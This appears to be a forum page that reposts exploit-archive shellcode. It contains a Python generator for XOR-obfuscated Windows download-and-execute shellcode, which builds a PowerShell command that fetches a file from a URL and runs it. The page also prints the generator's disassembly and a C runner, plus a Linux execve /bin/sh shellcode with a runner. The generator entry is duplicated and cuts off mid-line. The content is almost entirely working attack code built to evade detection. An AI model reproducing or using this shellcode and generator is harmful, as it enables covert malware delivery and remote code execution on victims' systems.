Search the Community

#Title: Obfuscated Shellcode Windows x86/x64 Download And Execute [Use PowerShell] - Generator #length: Dynamic ! depend on url and filename #Date: 20 January 2015 #Author: Ali Razmjoo #tested On: Windows 7 x64 ultimate #WinExec => 0x77b1e695 #ExitProcess => 0x77ae2acf #==================================== #Execute : #powershell -command "& { (New-Object Net.WebClient).DownloadFile('http://tartarus.org/~simon/putty-prerel-snapshots/x86/putty.exe', 'D:\Ali.exe')};D:\Ali.exe" #==================================== #Ali Razmjoo , ['Ali.Razmjoo1994@Gmail.Com','Ali@Z3r0D4y.Com'] #Thanks to my friends , Dariush Nasirpour and Ehsan Nezami #################################################### #How it work ? ''' C:\Users\Ali\Desktop>python "Windows x86 Download And Execute.py" Enter url Example: http://z3r0d4y.com/file.exe Enter:http://tartarus.org/~simon/putty-prerel-snapshots/x86/putty.exe Enter filename Example: D:\file.exe Enter:C:\Ali.exe C:\Users\Ali\Desktop>nasm -f elf shellcode.asm -o shellcode.o C:\Users\Ali\Desktop>objdump -D shellcode.o shellcode.o: file format elf32-i386 Disassembly of section .text: 00000000 <.text>: 0: 31 c0 xor %eax,%eax 2: 50 push %eax 3: 68 41 41 65 22 push $0x22654141 8: 58 pop %eax 9: c1 e8 08 shr $0x8,%eax c: c1 e8 08 shr $0x8,%eax f: 50 push %eax 10: b8 34 47 0b 4d mov $0x4d0b4734,%eax 15: bb 5d 69 6e 35 mov $0x356e695d,%ebx 1a: 31 d8 xor %ebx,%eax 1c: 50 push %eax 1d: b8 43 32 10 22 mov $0x22103243,%eax 22: bb 79 6e 51 4e mov $0x4e516e79,%ebx 27: 31 d8 xor %ebx,%eax 29: 50 push %eax 2a: b8 60 05 42 32 mov $0x32420560,%eax 2f: bb 49 78 79 71 mov $0x71797849,%ebx 34: 31 d8 xor %ebx,%eax 36: 50 push %eax 37: b8 0f 1c 2c 14 mov $0x142c1c0f,%eax 3c: bb 6a 64 49 33 mov $0x3349646a,%ebx 41: 31 d8 xor %ebx,%eax 43: 50 push %eax 44: b8 07 3e 0b 40 mov $0x400b3e07,%eax 49: bb 46 52 62 6e mov $0x6e625246,%ebx 4e: 31 d8 xor %ebx,%eax 50: 50 push %eax 51: b8 44 0a 78 07 mov $0x7780a44,%eax 56: bb 63 49 42 5b mov $0x5b424963,%ebx 5b: 31 d8 xor %ebx,%eax 5d: 50 push %eax 5e: b8 0f 16 4b 0d mov $0xd4b160f,%eax 63: bb 6a 31 67 2d mov $0x2d67316a,%ebx 68: 31 d8 xor %ebx,%eax 6a: 50 push %eax 6b: b8 18 62 5c 1f mov $0x1f5c6218,%eax 70: bb 61 4c 39 67 mov $0x67394c61,%ebx 75: 31 d8 xor %ebx,%eax 77: 50 push %eax 78: b8 1b 2d 1e 1f mov $0x1f1e2d1b,%eax 7d: bb 6b 58 6a 6b mov $0x6b6a586b,%ebx 82: 31 d8 xor %ebx,%eax 84: 50 push %eax 85: b8 45 40 41 66 mov $0x66414045,%eax 8a: bb 3d 78 77 49 mov $0x4977783d,%ebx 8f: 31 d8 xor %ebx,%eax 91: 50 push %eax 92: b8 02 1f 4b 45 mov $0x454b1f02,%eax 97: bb 6d 6b 38 6a mov $0x6a386b6d,%ebx 9c: 31 d8 xor %ebx,%eax 9e: 50 push %eax 9f: b8 24 3e 19 32 mov $0x32193e24,%eax a4: bb 45 4e 6a 5a mov $0x5a6a4e45,%ebx a9: 31 d8 xor %ebx,%eax ab: 50 push %eax ac: b8 00 5e 3a 35 mov $0x353a5e00,%eax b1: bb 6c 73 49 5b mov $0x5b49736c,%ebx b6: 31 d8 xor %ebx,%eax b8: 50 push %eax b9: b8 1f 37 40 24 mov $0x2440371f,%eax be: bb 6d 52 32 41 mov $0x4132526d,%ebx c3: 31 d8 xor %ebx,%eax c5: 50 push %eax c6: b8 2e 35 68 31 mov $0x3168352e,%eax cb: bb 5a 4c 45 41 mov $0x41454c5a,%ebx d0: 31 d8 xor %ebx,%eax d2: 50 push %eax d3: b8 48 1e 1c 15 mov $0x151c1e48,%eax d8: bb 67 6e 69 61 mov $0x61696e67,%ebx dd: 31 d8 xor %ebx,%eax df: 50 push %eax e0: b8 26 28 0d 5d mov $0x5d0d2826,%eax e5: bb 4f 45 62 33 mov $0x3362454f,%ebx ea: 31 d8 xor %ebx,%eax ec: 50 push %eax ed: b8 20 57 1d 45 mov $0x451d5720,%eax f2: bb 47 78 63 36 mov $0x36637847,%ebx f7: 31 d8 xor %ebx,%eax f9: 50 push %eax fa: b8 04 6a 24 3b mov $0x3b246a04,%eax ff: bb 77 44 4b 49 mov $0x494b4477,%ebx 104: 31 d8 xor %ebx,%eax 106: 50 push %eax 107: b8 18 0f 0a 32 mov $0x320a0f18,%eax 10c: bb 6c 6e 78 47 mov $0x47786e6c,%ebx 111: 31 d8 xor %ebx,%eax 113: 50 push %eax 114: b8 7d 18 3c 27 mov $0x273c187d,%eax 119: bb 52 6c 5d 55 mov $0x555d6c52,%ebx 11e: 31 d8 xor %ebx,%eax 120: 50 push %eax 121: b8 03 44 60 60 mov $0x60604403,%eax 126: bb 77 34 5a 4f mov $0x4f5a3477,%ebx 12b: 31 d8 xor %ebx,%eax 12d: 50 push %eax 12e: b8 47 6b 1f 20 mov $0x201f6b47,%eax 133: bb 6f 4c 77 54 mov $0x54774c6f,%ebx 138: 31 d8 xor %ebx,%eax 13a: 50 push %eax 13b: b8 2a 5e 2b 20 mov $0x202b5e2a,%eax 140: bb 6c 37 47 45 mov $0x4547376c,%ebx 145: 31 d8 xor %ebx,%eax 147: 50 push %eax 148: b8 59 07 12 0e mov $0xe120759,%eax 14d: bb 35 68 73 6a mov $0x6a736835,%ebx 152: 31 d8 xor %ebx,%eax 154: 50 push %eax 155: b8 01 59 11 2c mov $0x2c115901,%eax 15a: bb 45 36 66 42 mov $0x42663645,%ebx 15f: 31 d8 xor %ebx,%eax 161: 50 push %eax 162: b8 22 22 4e 5a mov $0x5a4e2222,%eax 167: bb 4c 56 67 74 mov $0x7467564c,%ebx 16c: 31 d8 xor %ebx,%eax 16e: 50 push %eax 16f: b8 00 37 1b 48 mov $0x481b3700,%eax 174: bb 43 5b 72 2d mov $0x2d725b43,%ebx 179: 31 d8 xor %ebx,%eax 17b: 50 push %eax 17c: b8 4a 1f 22 13 mov $0x13221f4a,%eax 181: bb 64 48 47 71 mov $0x71474864,%ebx 186: 31 d8 xor %ebx,%eax 188: 50 push %eax 189: b8 6a 23 03 18 mov $0x1803236a,%eax 18e: bb 4a 6d 66 6c mov $0x6c666d4a,%ebx 193: 31 d8 xor %ebx,%eax 195: 50 push %eax 196: b8 2d 54 57 1c mov $0x1c57542d,%eax 19b: bb 47 31 34 68 mov $0x68343147,%ebx 1a0: 31 d8 xor %ebx,%eax 1a2: 50 push %eax 1a3: b8 4e 15 36 5a mov $0x5a36154e,%eax 1a8: bb 39 38 79 38 mov $0x38793839,%ebx 1ad: 31 d8 xor %ebx,%eax 1af: 50 push %eax 1b0: b8 59 7f 1f 04 mov $0x41f7f59,%eax 1b5: bb 79 57 51 61 mov $0x61515779,%ebx 1ba: 31 d8 xor %ebx,%eax 1bc: 50 push %eax 1bd: b8 47 56 1d 2f mov $0x2f1d5647,%eax 1c2: bb 65 70 3d 54 mov $0x543d7065,%ebx 1c7: 31 d8 xor %ebx,%eax 1c9: 50 push %eax 1ca: b8 2c 18 08 54 mov $0x5408182c,%eax 1cf: bb 4d 76 6c 74 mov $0x746c764d,%ebx 1d4: 31 d8 xor %ebx,%eax 1d6: 50 push %eax 1d7: b8 5a 34 58 1b mov $0x1b58345a,%eax 1dc: bb 39 5b 35 76 mov $0x76355b39,%ebx 1e1: 31 d8 xor %ebx,%eax 1e3: 50 push %eax 1e4: b8 3f 0f 4b 41 mov $0x414b0f3f,%eax 1e9: bb 53 63 6b 6c mov $0x6c6b6353,%ebx 1ee: 31 d8 xor %ebx,%eax 1f0: 50 push %eax 1f1: b8 4a 1e 59 0b mov $0xb591e4a,%eax 1f6: bb 38 6d 31 6e mov $0x6e316d38,%ebx 1fb: 31 d8 xor %ebx,%eax 1fd: 50 push %eax 1fe: b8 49 2b 16 2a mov $0x2a162b49,%eax 203: bb 39 44 61 4f mov $0x4f614439,%ebx 208: 31 d8 xor %ebx,%eax 20a: 50 push %eax 20b: 89 e0 mov %esp,%eax 20d: bb 41 41 41 01 mov $0x1414141,%ebx 212: c1 eb 08 shr $0x8,%ebx 215: c1 eb 08 shr $0x8,%ebx 218: c1 eb 08 shr $0x8,%ebx 21b: 53 push %ebx 21c: 50 push %eax 21d: bb 95 e6 b1 77 mov $0x77b1e695,%ebx 222: ff d3 call *%ebx 224: bb cf 2a ae 77 mov $0x77ae2acf,%ebx 229: ff d3 call *%ebx C:\Users\Ali\Desktop> #you have your shellcode now ======================================= shellcode.c #include <stdio.h> #include <string.h> int main(){ unsigned char shellcode[]= "\x31\xc0\x50\x68\x41\x41\x65\x22\x58\xc1\xe8\x08\xc1\xe8\x08\x50\xb8\x34\x47\x0b?\x4d\xbb\x5d\x69\x6e\x35\x31\xd8\x50\xb8\x43\x32\x10\x22\xbb\x79\x6e\x51\x4e\x31?\xd8\x50\xb8\x60\x05\x42\x32\xbb\x49\x78\x79\x71\x31\xd8\x50\xb8\x0f\x1c\x2c\x14?\xbb\x6a\x64\x49\x33\x31\xd8\x50\xb8\x07\x3e\x0b\x40\xbb\x46\x52\x62\x6e\x31\xd8?\x50\xb8\x44\x0a\x78\x07\xbb\x63\x49\x42\x5b\x31\xd8\x50\xb8\x0f\x16\x4b\x0d\xbb?\x6a\x31\x67\x2d\x31\xd8\x50\xb8\x18\x62\x5c\x1f\xbb\x61\x4c\x39\x67\x31\xd8\x50?\xb8\x1b\x2d\x1e\x1f\xbb\x6b\x58\x6a\x6b\x31\xd8\x50\xb8\x45\x40\x41\x66\xbb\x3d?\x78\x77\x49\x31\xd8\x50\xb8\x02\x1f\x4b\x45\xbb\x6d\x6b\x38\x6a\x31\xd8\x50\xb8?\x24\x3e\x19\x32\xbb\x45\x4e\x6a\x5a\x31\xd8\x50\xb8\x00\x5e\x3a\x35\xbb\x6c\x73?\x49\x5b\x31\xd8\x50\xb8\x1f\x37\x40\x24\xbb\x6d\x52\x32\x41\x31\xd8\x50\xb8\x2e?\x35\x68\x31\xbb\x5a\x4c\x45\x41\x31\xd8\x50\xb8\x48\x1e\x1c\x15\xbb\x67\x6e\x69?\x61\x31\xd8\x50\xb8\x26\x28\x0d\x5d\xbb\x4f\x45\x62\x33\x31\xd8\x50\xb8\x20\x57?\x1d\x45\xbb\x47\x78\x63\x36\x31\xd8\x50\xb8\x04\x6a\x24\x3b\xbb\x77\x44\x4b\x49?\x31\xd8\x50\xb8\x18\x0f\x0a\x32\xbb\x6c\x6e\x78\x47\x31\xd8\x50\xb8\x7d\x18\x3c?\x27\xbb\x52\x6c\x5d\x55\x31\xd8\x50\xb8\x03\x44\x60\x60\xbb\x77\x34\x5a\x4f\x31?\xd8\x50\xb8\x47\x6b\x1f\x20\xbb\x6f\x4c\x77\x54\x31\xd8\x50\xb8\x2a\x5e\x2b\x20?\xbb\x6c\x37\x47\x45\x31\xd8\x50\xb8\x59\x07\x12\x0e\xbb\x35\x68\x73\x6a\x31\xd8?\x50\xb8\x01\x59\x11\x2c\xbb\x45\x36\x66\x42\x31\xd8\x50\xb8\x22\x22\x4e\x5a\xbb?\x4c\x56\x67\x74\x31\xd8\x50\xb8\x00\x37\x1b\x48\xbb\x43\x5b\x72\x2d\x31\xd8\x50?\xb8\x4a\x1f\x22\x13\xbb\x64\x48\x47\x71\x31\xd8\x50\xb8\x6a\x23\x03\x18\xbb\x4a?\x6d\x66\x6c\x31\xd8\x50\xb8\x2d\x54\x57\x1c\xbb\x47\x31\x34\x68\x31\xd8\x50\xb8?\x4e\x15\x36\x5a\xbb\x39\x38\x79\x38\x31\xd8\x50\xb8\x59\x7f\x1f\x04\xbb\x79\x57?\x51\x61\x31\xd8\x50\xb8\x47\x56\x1d\x2f\xbb\x65\x70\x3d\x54\x31\xd8\x50\xb8\x2c?\x18\x08\x54\xbb\x4d\x76\x6c\x74\x31\xd8\x50\xb8\x5a\x34\x58\x1b\xbb\x39\x5b\x35?\x76\x31\xd8\x50\xb8\x3f\x0f\x4b\x41\xbb\x53\x63\x6b\x6c\x31\xd8\x50\xb8\x4a\x1e?\x59\x0b\xbb\x38\x6d\x31\x6e\x31\xd8\x50\xb8\x49\x2b\x16\x2a\xbb\x39\x44\x61\x4f?\x31\xd8\x50\x89\xe0\xbb\x41\x41\x41\x01\xc1\xeb\x08\xc1\xeb\x08\xc1\xeb\x08\x53?\x50\xbb\x95\xe6\xb1\x77\xff\xd3\xbb\xcf\x2a\xae\x77\xff\xd3"; fprintf(stdout,"Length: %d\n\n",strlen(shellcode)); (*(void(*)()) shellcode)(); } ======================================= C:\Users\Ali\Desktop>gcc shellcode.c -o shellcode.exe C:\Users\Ali\Desktop>shellcode.exe Length: 173 C:\Users\Ali\Desktop> #notice : when program exit, you must wait 2-3 second , it will finish download and execute file after 2-3 second ''' import random,binascii chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz123456789=[]-' p1 = '''xor eax,eax push eax ''' p2 = ''' mov eax,esp mov ebx,0x01414141 shr ebx,0x08 shr ebx,0x08 shr ebx,0x08 push ebx push eax mov ebx,0x77b1e695 call ebx mov ebx,0x77ae2acf call ebx ''' sen1 = str(raw_input('Enter url\nExample: http://z3r0d4y.com/file.exe \nEnter:')) sen1 = sen1.rsplit() sen1 = sen1[0] sen2 = str(raw_input('Enter filename\nExample: D:\\file.exe\nEnter:')) sen2 = sen2.rsplit() sen2 = sen2[0] sen = '''powershell -command "& { (New-Object Net.WebClient).DownloadFile('%s', '%s')};%s"''' %(sen1,sen2,sen2) m = 0 for word in sen: m += 1 m = m - 1 stack = '' while(m>=0): stack += sen[m] m -= 1 stack = stack.encode('hex') skip = 1 if len(stack) % 8 == 0: skip = 0 if skip is 1: stack = '00' + stack if len(stack) % 8 == 0: skip = 0 if skip is 1: stack = '00' + stack if len(stack) % 8 == 0: skip = 0 if skip is 1: stack = '00' + stack if len(stack) % 8 == 0: skip = 0 if len(stack) % 8 == 0: zxzxzxz = 0 m = len(stack) / 8 c = 0 n = 0 z = 8 shf = open('shellcode.asm','w') shf.write(p1) shf.close() shf = open('shellcode.asm','a') while(c<m): v = 'push 0x' + stack[n:z] skip = 0 if '0x000000' in v: skip = 1 q1 = v[13:] v = 'push 0x' + q1 + '414141' + '\n' + 'pop eax\nshr eax,0x08\nshr eax,0x08\nshr eax,0x08\npush eax\n' if '0x0000' in v: skip = 1 q1 = v[11:] v = 'push 0x' + q1 + '4141' + '\n' + 'pop eax\nshr eax,0x08\nshr eax,0x08\npush eax\n' if '0x00' in v: skip = 1 q1 = v[9:] v = 'push 0x' + q1 + '41' + '\n' + 'pop eax\nshr eax,0x08\npush eax\n' if skip is 1: shf.write(v) if skip is 0: v = v.rsplit() zzz = '' for w in v: if '0x' in w: zzz = str(w) s1 = binascii.b2a_hex(''.join(random.choice(chars) for i in range(4))) s1 = '0x%s'%s1 data = "%x" % (int(zzz, 16) ^ int(s1, 16)) v = 'mov eax,0x%s\nmov ebx,%s\nxor eax,ebx\npush eax\n'%(data,s1) shf.write(v) n += 8 z += 8 c += 1 shf.write(p2) shf.close()

/* ; Title: Linux/x86 execve "/bin/sh" - shellcode 35 bytes ; Platform: linux/x86_64 ; Date: 2014-06-26 ; Author: Mohammad Reza Espargham ; Simple ShellCode section .text: 08048060 <_start>: 8048060: eb 17 jmp 8048079 08048062 : 8048062: 5e pop %esi 8048063: 31 d2 xor %edx,%edx 8048065: 52 push %edx 8048066: 56 push %esi 8048067: 89 e1 mov %esp,%ecx 8048069: 89 f3 mov %esi,%ebx 804806b: 31 c0 xor %eax,%eax 804806d: b0 0b mov $0xb,%al 804806f: cd 80 int $0x80 8048071: 31 db xor %ebx,%ebx 8048073: 31 c0 xor %eax,%eax 8048075: 40 inc %eax 8048076: cd 80 int $0x80 08048078 : 8048078: e8 e5 ff ff ff call 8048062 804807d: 2f das 804807e: 62 69 6e bound %ebp,0x6e(%ecx) 8048081: 2f das 8048082: 73 68 jae 80480ec */ #include <stdio.h> #include <string.h> #include <sys/mman.h> #define PAGE_SIZE 4096U char code[] = { "\xeb\x16\x5e\x31\xd2\x52\x56\x89\xe1\x89\xf3\x31\xc0\xb0\x0b\xcd" "\x80\x31\xdb\x31\xc0\x40\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68" }; int main() { printf("Shellcode Length: %d\n", (int)strlen(code)); int (*ret)() = (int(*)())code; ret(); return 0; } Source

#Title: Obfuscated Shellcode Windows x86/x64 Download And Execute [use PowerShell] - Generator#length: Dynamic ! depend on url and filename #Date: 20 January 2015 #Author: Ali Razmjoo #tested On: Windows 7 x64 ultimate #WinExec => 0x77b1e695 #ExitProcess => 0x77ae2acf #==================================== #Execute : #powershell -command "& { (New-Object Net.WebClient).DownloadFile('http://tartarus.org/~simon/putty-prerel-snapshots/x86/putty.exe', 'D:\Ali.exe')};D:\Ali.exe" #==================================== #Ali Razmjoo , ['Ali.Razmjoo1994@Gmail.Com','Ali@Z3r0D4y.Com'] #Thanks to my friends , Dariush Nasirpour and Ehsan Nezami #################################################### #How it work ? ''' C:\Users\Ali\Desktop>python "Windows x86 Download And Execute.py" Enter url Example: http://z3r0d4y.com/file.exe Enter:http://tartarus.org/~simon/putty-prerel-snapshots/x86/putty.exe Enter filename Example: D:\file.exe Enter:C:\Ali.exe C:\Users\Ali\Desktop>nasm -f elf shellcode.asm -o shellcode.o C:\Users\Ali\Desktop>objdump -D shellcode.o shellcode.o: file format elf32-i386 Disassembly of section .text: 00000000 <.text>: 0: 31 c0 xor %eax,%eax 2: 50 push %eax 3: 68 41 41 65 22 push $0x22654141 8: 58 pop %eax 9: c1 e8 08 shr $0x8,%eax c: c1 e8 08 shr $0x8,%eax f: 50 push %eax 10: b8 34 47 0b 4d mov $0x4d0b4734,%eax 15: bb 5d 69 6e 35 mov $0x356e695d,%ebx 1a: 31 d8 xor %ebx,%eax 1c: 50 push %eax 1d: b8 43 32 10 22 mov $0x22103243,%eax 22: bb 79 6e 51 4e mov $0x4e516e79,%ebx 27: 31 d8 xor %ebx,%eax 29: 50 push %eax 2a: b8 60 05 42 32 mov $0x32420560,%eax 2f: bb 49 78 79 71 mov $0x71797849,%ebx 34: 31 d8 xor %ebx,%eax 36: 50 push %eax 37: b8 0f 1c 2c 14 mov $0x142c1c0f,%eax 3c: bb 6a 64 49 33 mov $0x3349646a,%ebx 41: 31 d8 xor %ebx,%eax 43: 50 push %eax 44: b8 07 3e 0b 40 mov $0x400b3e07,%eax 49: bb 46 52 62 6e mov $0x6e625246,%ebx 4e: 31 d8 xor %ebx,%eax 50: 50 push %eax 51: b8 44 0a 78 07 mov $0x7780a44,%eax 56: bb 63 49 42 5b mov $0x5b424963,%ebx 5b: 31 d8 xor %ebx,%eax 5d: 50 push %eax 5e: b8 0f 16 4b 0d mov $0xd4b160f,%eax 63: bb 6a 31 67 2d mov $0x2d67316a,%ebx 68: 31 d8 xor %ebx,%eax 6a: 50 push %eax 6b: b8 18 62 5c 1f mov $0x1f5c6218,%eax 70: bb 61 4c 39 67 mov $0x67394c61,%ebx 75: 31 d8 xor %ebx,%eax 77: 50 push %eax 78: b8 1b 2d 1e 1f mov $0x1f1e2d1b,%eax 7d: bb 6b 58 6a 6b mov $0x6b6a586b,%ebx 82: 31 d8 xor %ebx,%eax 84: 50 push %eax 85: b8 45 40 41 66 mov $0x66414045,%eax 8a: bb 3d 78 77 49 mov $0x4977783d,%ebx 8f: 31 d8 xor %ebx,%eax 91: 50 push %eax 92: b8 02 1f 4b 45 mov $0x454b1f02,%eax 97: bb 6d 6b 38 6a mov $0x6a386b6d,%ebx 9c: 31 d8 xor %ebx,%eax 9e: 50 push %eax 9f: b8 24 3e 19 32 mov $0x32193e24,%eax a4: bb 45 4e 6a 5a mov $0x5a6a4e45,%ebx a9: 31 d8 xor %ebx,%eax ab: 50 push %eax ac: b8 00 5e 3a 35 mov $0x353a5e00,%eax b1: bb 6c 73 49 5b mov $0x5b49736c,%ebx b6: 31 d8 xor %ebx,%eax b8: 50 push %eax b9: b8 1f 37 40 24 mov $0x2440371f,%eax be: bb 6d 52 32 41 mov $0x4132526d,%ebx c3: 31 d8 xor %ebx,%eax c5: 50 push %eax c6: b8 2e 35 68 31 mov $0x3168352e,%eax cb: bb 5a 4c 45 41 mov $0x41454c5a,%ebx d0: 31 d8 xor %ebx,%eax d2: 50 push %eax d3: b8 48 1e 1c 15 mov $0x151c1e48,%eax d8: bb 67 6e 69 61 mov $0x61696e67,%ebx dd: 31 d8 xor %ebx,%eax df: 50 push %eax e0: b8 26 28 0d 5d mov $0x5d0d2826,%eax e5: bb 4f 45 62 33 mov $0x3362454f,%ebx ea: 31 d8 xor %ebx,%eax ec: 50 push %eax ed: b8 20 57 1d 45 mov $0x451d5720,%eax f2: bb 47 78 63 36 mov $0x36637847,%ebx f7: 31 d8 xor %ebx,%eax f9: 50 push %eax fa: b8 04 6a 24 3b mov $0x3b246a04,%eax ff: bb 77 44 4b 49 mov $0x494b4477,%ebx 104: 31 d8 xor %ebx,%eax 106: 50 push %eax 107: b8 18 0f 0a 32 mov $0x320a0f18,%eax 10c: bb 6c 6e 78 47 mov $0x47786e6c,%ebx 111: 31 d8 xor %ebx,%eax 113: 50 push %eax 114: b8 7d 18 3c 27 mov $0x273c187d,%eax 119: bb 52 6c 5d 55 mov $0x555d6c52,%ebx 11e: 31 d8 xor %ebx,%eax 120: 50 push %eax 121: b8 03 44 60 60 mov $0x60604403,%eax 126: bb 77 34 5a 4f mov $0x4f5a3477,%ebx 12b: 31 d8 xor %ebx,%eax 12d: 50 push %eax 12e: b8 47 6b 1f 20 mov $0x201f6b47,%eax 133: bb 6f 4c 77 54 mov $0x54774c6f,%ebx 138: 31 d8 xor %ebx,%eax 13a: 50 push %eax 13b: b8 2a 5e 2b 20 mov $0x202b5e2a,%eax 140: bb 6c 37 47 45 mov $0x4547376c,%ebx 145: 31 d8 xor %ebx,%eax 147: 50 push %eax 148: b8 59 07 12 0e mov $0xe120759,%eax 14d: bb 35 68 73 6a mov $0x6a736835,%ebx 152: 31 d8 xor %ebx,%eax 154: 50 push %eax 155: b8 01 59 11 2c mov $0x2c115901,%eax 15a: bb 45 36 66 42 mov $0x42663645,%ebx 15f: 31 d8 xor %ebx,%eax 161: 50 push %eax 162: b8 22 22 4e 5a mov $0x5a4e2222,%eax 167: bb 4c 56 67 74 mov $0x7467564c,%ebx 16c: 31 d8 xor %ebx,%eax 16e: 50 push %eax 16f: b8 00 37 1b 48 mov $0x481b3700,%eax 174: bb 43 5b 72 2d mov $0x2d725b43,%ebx 179: 31 d8 xor %ebx,%eax 17b: 50 push %eax 17c: b8 4a 1f 22 13 mov $0x13221f4a,%eax 181: bb 64 48 47 71 mov $0x71474864,%ebx 186: 31 d8 xor %ebx,%eax 188: 50 push %eax 189: b8 6a 23 03 18 mov $0x1803236a,%eax 18e: bb 4a 6d 66 6c mov $0x6c666d4a,%ebx 193: 31 d8 xor %ebx,%eax 195: 50 push %eax 196: b8 2d 54 57 1c mov $0x1c57542d,%eax 19b: bb 47 31 34 68 mov $0x68343147,%ebx 1a0: 31 d8 xor %ebx,%eax 1a2: 50 push %eax 1a3: b8 4e 15 36 5a mov $0x5a36154e,%eax 1a8: bb 39 38 79 38 mov $0x38793839,%ebx 1ad: 31 d8 xor %ebx,%eax 1af: 50 push %eax 1b0: b8 59 7f 1f 04 mov $0x41f7f59,%eax 1b5: bb 79 57 51 61 mov $0x61515779,%ebx 1ba: 31 d8 xor %ebx,%eax 1bc: 50 push %eax 1bd: b8 47 56 1d 2f mov $0x2f1d5647,%eax 1c2: bb 65 70 3d 54 mov $0x543d7065,%ebx 1c7: 31 d8 xor %ebx,%eax 1c9: 50 push %eax 1ca: b8 2c 18 08 54 mov $0x5408182c,%eax 1cf: bb 4d 76 6c 74 mov $0x746c764d,%ebx 1d4: 31 d8 xor %ebx,%eax 1d6: 50 push %eax 1d7: b8 5a 34 58 1b mov $0x1b58345a,%eax 1dc: bb 39 5b 35 76 mov $0x76355b39,%ebx 1e1: 31 d8 xor %ebx,%eax 1e3: 50 push %eax 1e4: b8 3f 0f 4b 41 mov $0x414b0f3f,%eax 1e9: bb 53 63 6b 6c mov $0x6c6b6353,%ebx 1ee: 31 d8 xor %ebx,%eax 1f0: 50 push %eax 1f1: b8 4a 1e 59 0b mov $0xb591e4a,%eax 1f6: bb 38 6d 31 6e mov $0x6e316d38,%ebx 1fb: 31 d8 xor %ebx,%eax 1fd: 50 push %eax 1fe: b8 49 2b 16 2a mov $0x2a162b49,%eax 203: bb 39 44 61 4f mov $0x4f614439,%ebx 208: 31 d8 xor %ebx,%eax 20a: 50 push %eax 20b: 89 e0 mov %esp,%eax 20d: bb 41 41 41 01 mov $0x1414141,%ebx 212: c1 eb 08 shr $0x8,%ebx 215: c1 eb 08 shr $0x8,%ebx 218: c1 eb 08 shr $0x8,%ebx 21b: 53 push %ebx 21c: 50 push %eax 21d: bb 95 e6 b1 77 mov $0x77b1e695,%ebx 222: ff d3 call *%ebx 224: bb cf 2a ae 77 mov $0x77ae2acf,%ebx 229: ff d3 call *%ebx C:\Users\Ali\Desktop> #you have your shellcode now ======================================= shellcode.c #include <stdio.h> #include <string.h> int main(){ unsigned char shellcode[]= "\x31\xc0\x50\x68\x41\x41\x65\x22\x58\xc1\xe8\x08\xc1\xe8\x08\x50\xb8\x34\x47\x0b\x4d\xbb\x5d\x69\x6e\x35\x31\xd8\x50\xb8\x43\x32\x10\x22\xbb\x79\x6e\x51\x4e\x31\xd8\x50\xb8\x60\x05\x42\x32\xbb\x49\x78\x79\x71\x31\xd8\x50\xb8\x0f\x1c\x2c\x14\xbb\x6a\x64\x49\x33\x31\xd8\x50\xb8\x07\x3e\x0b\x40\xbb\x46\x52\x62\x6e\x31\xd8\x50\xb8\x44\x0a\x78\x07\xbb\x63\x49\x42\x5b\x31\xd8\x50\xb8\x0f\x16\x4b\x0d\xbb\x6a\x31\x67\x2d\x31\xd8\x50\xb8\x18\x62\x5c\x1f\xbb\x61\x4c\x39\x67\x31\xd8\x50\xb8\x1b\x2d\x1e\x1f\xbb\x6b\x58\x6a\x6b\x31\xd8\x50\xb8\x45\x40\x41\x66\xbb\x3d\x78\x77\x49\x31\xd8\x50\xb8\x02\x1f\x4b\x45\xbb\x6d\x6b\x38\x6a\x31\xd8\x50\xb8\x24\x3e\x19\x32\xbb\x45\x4e\x6a\x5a\x31\xd8\x50\xb8\x00\x5e\x3a\x35\xbb\x6c\x73\x49\x5b\x31\xd8\x50\xb8\x1f\x37\x40\x24\xbb\x6d\x52\x32\x41\x31\xd8\x50\xb8\x2e\x35\x68\x31\xbb\x5a\x4c\x45\x41\x31\xd8\x50\xb8\x48\x1e\x1c\x15\xbb\x67\x6e\x69\x61\x31\xd8\x50\xb8\x26\x28\x0d\x5d\xbb\x4f\x45\x62\x33\x31\xd8\x50\xb8\x20\x57\x1d\x45\xbb\x47\x78\x63\x36\x31\xd8\x50\xb8\x04\x6a\x24\x3b\xbb\x77\x44\x4b\x49\x31\xd8\x50\xb8\x18\x0f\x0a\x32\xbb\x6c\x6e\x78\x47\x31\xd8\x50\xb8\x7d\x18\x3c\x27\xbb\x52\x6c\x5d\x55\x31\xd8\x50\xb8\x03\x44\x60\x60\xbb\x77\x34\x5a\x4f\x31\xd8\x50\xb8\x47\x6b\x1f\x20\xbb\x6f\x4c\x77\x54\x31\xd8\x50\xb8\x2a\x5e\x2b\x20\xbb\x6c\x37\x47\x45\x31\xd8\x50\xb8\x59\x07\x12\x0e\xbb\x35\x68\x73\x6a\x31\xd8\x50\xb8\x01\x59\x11\x2c\xbb\x45\x36\x66\x42\x31\xd8\x50\xb8\x22\x22\x4e\x5a\xbb\x4c\x56\x67\x74\x31\xd8\x50\xb8\x00\x37\x1b\x48\xbb\x43\x5b\x72\x2d\x31\xd8\x50\xb8\x4a\x1f\x22\x13\xbb\x64\x48\x47\x71\x31\xd8\x50\xb8\x6a\x23\x03\x18\xbb\x4a\x6d\x66\x6c\x31\xd8\x50\xb8\x2d\x54\x57\x1c\xbb\x47\x31\x34\x68\x31\xd8\x50\xb8\x4e\x15\x36\x5a\xbb\x39\x38\x79\x38\x31\xd8\x50\xb8\x59\x7f\x1f\x04\xbb\x79\x57\x51\x61\x31\xd8\x50\xb8\x47\x56\x1d\x2f\xbb\x65\x70\x3d\x54\x31\xd8\x50\xb8\x2c\x18\x08\x54\xbb\x4d\x76\x6c\x74\x31\xd8\x50\xb8\x5a\x34\x58\x1b\xbb\x39\x5b\x35\x76\x31\xd8\x50\xb8\x3f\x0f\x4b\x41\xbb\x53\x63\x6b\x6c\x31\xd8\x50\xb8\x4a\x1e\x59\x0b\xbb\x38\x6d\x31\x6e\x31\xd8\x50\xb8\x49\x2b\x16\x2a\xbb\x39\x44\x61\x4f\x31\xd8\x50\x89\xe0\xbb\x41\x41\x41\x01\xc1\xeb\x08\xc1\xeb\x08\xc1\xeb\x08\x53\x50\xbb\x95\xe6\xb1\x77\xff\xd3\xbb\xcf\x2a\xae\x77\xff\xd3"; fprintf(stdout,"Length: %d\n\n",strlen(shellcode)); (*(void(*)()) shellcode)(); } ======================================= C:\Users\Ali\Desktop>gcc shellcode.c -o shellcode.exe C:\Users\Ali\Desktop>shellcode.exe Length: 173 C:\Users\Ali\Desktop> #notice : when program exit, you must wait 2-3 second , it will finish download and execute file after 2-3 second ''' import random,binascii chars = 